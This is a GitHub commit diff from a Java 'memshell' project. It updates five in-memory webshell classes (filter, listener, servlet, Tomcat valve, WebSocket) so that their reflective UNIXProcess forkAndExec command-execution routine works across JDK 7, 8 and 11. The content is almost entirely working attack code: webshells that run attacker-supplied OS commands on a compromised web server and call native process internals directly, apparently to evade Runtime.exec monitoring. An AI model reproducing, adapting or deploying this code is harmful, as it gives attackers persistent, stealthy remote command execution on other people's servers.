Skip to content

Commit 4088120

Browse files
committed
fix: forkAndExec jdk7 & jdk11
1 parent 771d4e3 commit 4088120

File tree

5 files changed

+136
-47
lines changed

5 files changed

+136
-47
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 26 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -84,30 +84,47 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8484
int[] std_fds = new int[]{-1, -1, -1};
8585
byte[] result = toCString(strs[0]);
8686
try {
87-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
8887
Field helperpathField = processClass.getDeclaredField("helperpath");
89-
launchMechanismField.setAccessible(true);
9088
helperpathField.setAccessible(true);
91-
Object launchMechanismObject = launchMechanismField.get(processObject);
9289
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
93-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
90+
91+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
92+
launchMechanismField.setAccessible(true);
93+
Object launchMechanismObject = launchMechanismField.get(processObject);
94+
int mode = 0;
95+
try {
96+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
97+
value.setAccessible(true);
98+
mode = (Integer) value.get(launchMechanismObject);
99+
} catch (NoSuchFieldException e) {
100+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
101+
mode = ordinal + 1;
102+
}
94103

95104
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
96105
byte[].class, int.class, byte[].class, int[].class, boolean.class);
97106
forkMethod.setAccessible(true);
98-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
107+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
99108
null, envc[0], null, std_fds, false);
100-
} catch (Exception e) {
109+
} catch (NoSuchFieldException e) {
110+
// JDK7
101111
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
102112
byte[].class, int.class, byte[].class, int[].class, boolean.class);
103113
forkMethod.setAccessible(true);
104114
forkMethod.invoke(processObject, result, argBlock, args.length,
105115
null, envc[0], null, std_fds, false);
106116
}
107117

108-
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
109-
initStreamsMethod.setAccessible(true);
110-
initStreamsMethod.invoke(processObject, std_fds);
118+
try {
119+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
120+
initStreamsMethod.setAccessible(true);
121+
initStreamsMethod.invoke(processObject, std_fds);
122+
} catch (NoSuchMethodException e) {
123+
// JDK11
124+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
125+
initStreamsMethod.setAccessible(true);
126+
initStreamsMethod.invoke(processObject, std_fds, false);
127+
}
111128

112129
Method getInputStreamMethod = processClass.getMethod("getInputStream");
113130
getInputStreamMethod.setAccessible(true);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 25 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -84,30 +84,46 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8484
int[] std_fds = new int[]{-1, -1, -1};
8585
byte[] result = toCString(strs[0]);
8686
try {
87-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
8887
Field helperpathField = processClass.getDeclaredField("helperpath");
89-
launchMechanismField.setAccessible(true);
9088
helperpathField.setAccessible(true);
91-
Object launchMechanismObject = launchMechanismField.get(processObject);
9289
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
93-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
90+
91+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
92+
launchMechanismField.setAccessible(true);
93+
Object launchMechanismObject = launchMechanismField.get(processObject);
94+
int mode = 0;
95+
try {
96+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
97+
value.setAccessible(true);
98+
mode = (Integer) value.get(launchMechanismObject);
99+
} catch (NoSuchFieldException e) {
100+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
101+
mode = ordinal + 1;
102+
}
94103

95104
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
96105
byte[].class, int.class, byte[].class, int[].class, boolean.class);
97106
forkMethod.setAccessible(true);
98-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
107+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
99108
null, envc[0], null, std_fds, false);
100-
} catch (Exception e) {
109+
} catch (NoSuchFieldException e) {
110+
e.printStackTrace();
101111
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
102112
byte[].class, int.class, byte[].class, int[].class, boolean.class);
103113
forkMethod.setAccessible(true);
104114
forkMethod.invoke(processObject, result, argBlock, args.length,
105115
null, envc[0], null, std_fds, false);
106116
}
107117

108-
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
109-
initStreamsMethod.setAccessible(true);
110-
initStreamsMethod.invoke(processObject, std_fds);
118+
try {
119+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
120+
initStreamsMethod.setAccessible(true);
121+
initStreamsMethod.invoke(processObject, std_fds);
122+
} catch (NoSuchMethodException e) {
123+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
124+
initStreamsMethod.setAccessible(true);
125+
initStreamsMethod.invoke(processObject, std_fds, false);
126+
}
111127

112128
Method getInputStreamMethod = processClass.getMethod("getInputStream");
113129
getInputStreamMethod.setAccessible(true);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 27 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -41,8 +41,8 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
4141
outputStream.write(buf, 0, length);
4242
}
4343
}
44-
} catch (Exception ignored) {
45-
44+
} catch (Exception e) {
45+
e.printStackTrace();
4646
}
4747
}
4848

@@ -82,30 +82,46 @@ public static InputStream forkAndExec(String cmd) throws Exception {
8282
int[] std_fds = new int[]{-1, -1, -1};
8383
byte[] result = toCString(strs[0]);
8484
try {
85-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
8685
Field helperpathField = processClass.getDeclaredField("helperpath");
87-
launchMechanismField.setAccessible(true);
8886
helperpathField.setAccessible(true);
89-
Object launchMechanismObject = launchMechanismField.get(processObject);
9087
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
91-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
88+
89+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
90+
launchMechanismField.setAccessible(true);
91+
Object launchMechanismObject = launchMechanismField.get(processObject);
92+
int mode = 0;
93+
try {
94+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
95+
value.setAccessible(true);
96+
mode = (Integer) value.get(launchMechanismObject);
97+
} catch (NoSuchFieldException e) {
98+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
99+
mode = ordinal + 1;
100+
}
92101

93102
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
94103
byte[].class, int.class, byte[].class, int[].class, boolean.class);
95104
forkMethod.setAccessible(true);
96-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
105+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
97106
null, envc[0], null, std_fds, false);
98-
} catch (Exception e) {
107+
} catch (NoSuchFieldException e) {
108+
e.printStackTrace();
99109
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
100110
byte[].class, int.class, byte[].class, int[].class, boolean.class);
101111
forkMethod.setAccessible(true);
102112
forkMethod.invoke(processObject, result, argBlock, args.length,
103113
null, envc[0], null, std_fds, false);
104114
}
105115

106-
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
107-
initStreamsMethod.setAccessible(true);
108-
initStreamsMethod.invoke(processObject, std_fds);
116+
try {
117+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
118+
initStreamsMethod.setAccessible(true);
119+
initStreamsMethod.invoke(processObject, std_fds);
120+
} catch (NoSuchMethodException e) {
121+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
122+
initStreamsMethod.setAccessible(true);
123+
initStreamsMethod.invoke(processObject, std_fds, false);
124+
}
109125

110126
Method getInputStreamMethod = processClass.getMethod("getInputStream");
111127
getInputStreamMethod.setAccessible(true);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

Lines changed: 25 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -102,30 +102,46 @@ public static InputStream forkAndExec(String cmd) throws Exception {
102102
int[] std_fds = new int[]{-1, -1, -1};
103103
byte[] result = toCString(strs[0]);
104104
try {
105-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
106105
Field helperpathField = processClass.getDeclaredField("helperpath");
107-
launchMechanismField.setAccessible(true);
108106
helperpathField.setAccessible(true);
109-
Object launchMechanismObject = launchMechanismField.get(processObject);
110107
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
111-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
108+
109+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
110+
launchMechanismField.setAccessible(true);
111+
Object launchMechanismObject = launchMechanismField.get(processObject);
112+
int mode = 0;
113+
try {
114+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
115+
value.setAccessible(true);
116+
mode = (Integer) value.get(launchMechanismObject);
117+
} catch (NoSuchFieldException e) {
118+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
119+
mode = ordinal + 1;
120+
}
112121

113122
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
114123
byte[].class, int.class, byte[].class, int[].class, boolean.class);
115124
forkMethod.setAccessible(true);
116-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
125+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
117126
null, envc[0], null, std_fds, false);
118-
} catch (Exception e) {
127+
} catch (NoSuchFieldException e) {
128+
e.printStackTrace();
119129
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
120130
byte[].class, int.class, byte[].class, int[].class, boolean.class);
121131
forkMethod.setAccessible(true);
122132
forkMethod.invoke(processObject, result, argBlock, args.length,
123133
null, envc[0], null, std_fds, false);
124134
}
125135

126-
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
127-
initStreamsMethod.setAccessible(true);
128-
initStreamsMethod.invoke(processObject, std_fds);
136+
try {
137+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
138+
initStreamsMethod.setAccessible(true);
139+
initStreamsMethod.invoke(processObject, std_fds);
140+
} catch (NoSuchMethodException e) {
141+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
142+
initStreamsMethod.setAccessible(true);
143+
initStreamsMethod.invoke(processObject, std_fds, false);
144+
}
129145

130146
Method getInputStreamMethod = processClass.getMethod("getInputStream");
131147
getInputStreamMethod.setAccessible(true);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

Lines changed: 33 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import javax.websocket.MessageHandler;
88
import javax.websocket.Session;
99
import java.io.ByteArrayOutputStream;
10+
import java.io.IOException;
1011
import java.io.InputStream;
1112
import java.lang.reflect.Field;
1213
import java.lang.reflect.Method;
@@ -38,6 +39,10 @@ public void onMessage(String s) {
3839
session.getBasicRemote().sendText(outputStream.toString());
3940
} catch (Exception e) {
4041
e.printStackTrace();
42+
try {
43+
session.close();
44+
} catch (IOException ignored) {
45+
}
4146
}
4247
}
4348

@@ -77,30 +82,49 @@ public static InputStream forkAndExec(String cmd) throws Exception {
7782
int[] std_fds = new int[]{-1, -1, -1};
7883
byte[] result = toCString(strs[0]);
7984
try {
80-
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
8185
Field helperpathField = processClass.getDeclaredField("helperpath");
82-
launchMechanismField.setAccessible(true);
8386
helperpathField.setAccessible(true);
84-
Object launchMechanismObject = launchMechanismField.get(processObject);
8587
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
86-
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
88+
89+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
90+
launchMechanismField.setAccessible(true);
91+
Object launchMechanismObject = launchMechanismField.get(processObject);
92+
int mode = 0;
93+
try {
94+
// JDK7 的某些版本
95+
Field value = launchMechanismObject.getClass().getDeclaredField("value");
96+
value.setAccessible(true);
97+
mode = (Integer) value.get(launchMechanismObject);
98+
} catch (NoSuchFieldException e) {
99+
// JDK8+
100+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
101+
mode = ordinal + 1;
102+
}
87103

88104
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
89105
byte[].class, int.class, byte[].class, int[].class, boolean.class);
90106
forkMethod.setAccessible(true);
91-
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
107+
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
92108
null, envc[0], null, std_fds, false);
93-
} catch (Exception e) {
109+
} catch (NoSuchFieldException e) {
110+
e.printStackTrace();
111+
// JDK6 与 JDK7 低版本
94112
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
95113
byte[].class, int.class, byte[].class, int[].class, boolean.class);
96114
forkMethod.setAccessible(true);
97115
forkMethod.invoke(processObject, result, argBlock, args.length,
98116
null, envc[0], null, std_fds, false);
99117
}
100118

101-
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
102-
initStreamsMethod.setAccessible(true);
103-
initStreamsMethod.invoke(processObject, std_fds);
119+
try {
120+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
121+
initStreamsMethod.setAccessible(true);
122+
initStreamsMethod.invoke(processObject, std_fds);
123+
} catch (NoSuchMethodException e) {
124+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
125+
initStreamsMethod.setAccessible(true);
126+
initStreamsMethod.invoke(processObject, std_fds, false);
127+
}
104128

105129
Method getInputStreamMethod = processClass.getMethod("getInputStream");
106130
getInputStreamMethod.setAccessible(true);

0 commit comments

Comments
 (0)